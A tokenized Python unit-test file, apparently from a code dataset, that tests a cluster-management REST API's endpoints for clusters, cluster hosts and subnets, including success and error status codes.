"._", "test\\u", "client_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "name", "'_", ":_", "'", "test\\u", "cluster", "1", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "name", "'_", ":_", "'", "test\\u", "cluster", "2", "'_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "v_", "in_", "enumerate_", "(_", "resp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "all_", "(_", "item_", "in_", "resp_", "[_", "i_", "]_", "._", "items_", "(_", ")_", "for_", "item_", "in_", "expected_", "[_", "i_", "]_", "._", "items_", "(_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "url_", "=_", "'/", "cluster", "s", "?", "name", "=", "xx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "json_", "._", "loads_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "test\\u", "client_", "._", "get_", "(_", "url_", ")_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "]_", ",_", "return", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "cluster_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "a", " ", "cluster", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "name", "'_", "]_", ",_", "'", "test\\u", "cluster", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "a", " ", "non", "-", "exist", " ", "cluster_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "cluster", "s", "/", "999", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "cluster_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "cluster", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adapter", "\\u", "name_", ",_", "adapter", "\\u", "id_", ",_", "os", "\\u", "id_", ",_", "flavor", "\\u", "id_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "get", "\\u", "adapter", "\\u", "info_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "name", "'_", "]_", "=_", "'", "test\\u", "add", "\\u", "cluster", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "adapter", "\\u", "id", "'_", "]_", "=_", "adapter", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "os", "\\u", "id", "'_", "]_", "=_", "os", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "flavor", "\\u", "id", "'_", "]_", "=_", "flavor", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "name", "'_", "]_", ",_", "'", "test\\u", "add", "\\u", "cluster", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "duplicated", " ", "cluster_", "\\u\\u\\uNL\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "409_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "cluster", " ", "with", " ", "a", " ", "non", "-", "existed", " ", "adapter", "-", "id_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "name", "'_", "]_", "=_", "'", "cluster", "\\u", "invalid", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "adapter", "\\u", "id", "'_", "]_", "=_", "9_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "os", "\\u", "id", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "flavor", "\\u", "id", "'_", "]_", "=_", "flavor", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "cluster", " ", "with", " ", "a", " ", "non", "-", "existed", " ", "flavor", "-", "id_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "name", "'_", "]_", "=_", "'", "cluster", "\\u", "invalid", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "adapter", "\\u", "id", "'_", "]_", "=_", "adapter", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "os", "\\u", "id", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "flavor", "\\u", "id", "'_", "]_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "cluster_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "update", " ", "a", " ", "cluster", " ", "suce", "ss", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'", "cluster", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "cluster", "\\u", "update", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "[_", "'", "name", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cluster", "\\u", "update", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "a", " ", "non", "-", "existed", " ", "cluster_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "cluster", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "cluster", "\\u", "update", "\\u", "non", "\\u", "existed", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "update", " ", "a", " ", "cluster", " ", "with", " ", "wrong", " ", "keyword_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "cluster", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xxx", "'_", ":_", "'", "cluster", "\\u", "update", "\\u", "wrong", "\\u", "keyw", "ord", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "cluster", "\\u", "not", "\\u", "editable_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "cluster", " ", "whi", "ch", " ", "state", " ", "is", " ", "install", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "user", "\\u", "object_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "api_", "._", "get", "\\u", "user", "\\u", "object_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "setting_", "._", "COMPA", "SS", "\\u", "ADM", "IN", "\\u", "EMAIL_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cluster", "\\u", "api_", "._", "update", "\\u", "cluster", "\\u", "state_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "state_", "=_", "'", "INSTA", "LL", "ING", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "self_", "._", "user", "\\u", "object_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'/", "cluster", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "403_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "cluster_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "cluster", " ", "suce", "ss", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "cluster", "\\u", "hosts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "list", " ", "cluster", "\\u", "host", "s", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "/", "1", "/", "host", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "len_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "cluster", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "cluster", "s", "/", "9", "9", "/", "host", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "show", "\\u", "cluster", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "show", " ", "a", " ", "cluster", "\\u", "host", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "/", "1", "/", "host", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "host", "name", "'_", "]_", ",_", "'", "test\\u", "cluster", "\\u", "host", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "host", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "cluster", "s", "/", "1", "/", "host", "s", "/", "9", "9", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "add", "\\u", "cluster", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "cluster", "\\u", "host", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "/", "2", "/", "host", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "add", "\\u", "cluster", "\\u", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rein", "stall", "\\u", "os", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "machine", "\\u", "id", "'_", ":_", "1_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "resp_", "[_", "'", "host", "name", "'_", "]_", ",_", "'", "add", "\\u", "cluster", "\\u", "host", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "duplicat", "e", " ", "cluster", "\\u", "host_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "duplicat", "e\\u", "cluster", "\\u", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rein", "stall", "\\u", "os", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "machine", "\\u", "id", "'_", ":_", "1_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "409_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "update", "\\u", "cluster", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "update", " ", "cluster", "\\u", "host", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "/", "1", "/", "host", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "role", "s", "'_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "alli", "none", "-", "compute", "'_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "put_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "cluster", "\\u", "host_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "delete", " ", "a", " ", "cluster", "\\u", "host", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "/", "1", "/", "host", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "give", " ", "a", " ", "non", "-", "existed", " ", "cluster", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "cluster", "s", "/", "9", "9", "/", "host", "s", "/", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Subnet", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "subnet", " ", "api", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Subnet", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Subnet", "API_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'/", "subnet", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "subnet", "'_", ":_", "'", "10.1", "45.", "89", ".0", "/", "24", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "test\\u", "subnet", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Subnet", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Subnet", "API_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Subnet", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "subnets_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "list", " ", "subnet", "s", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "subnet", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", 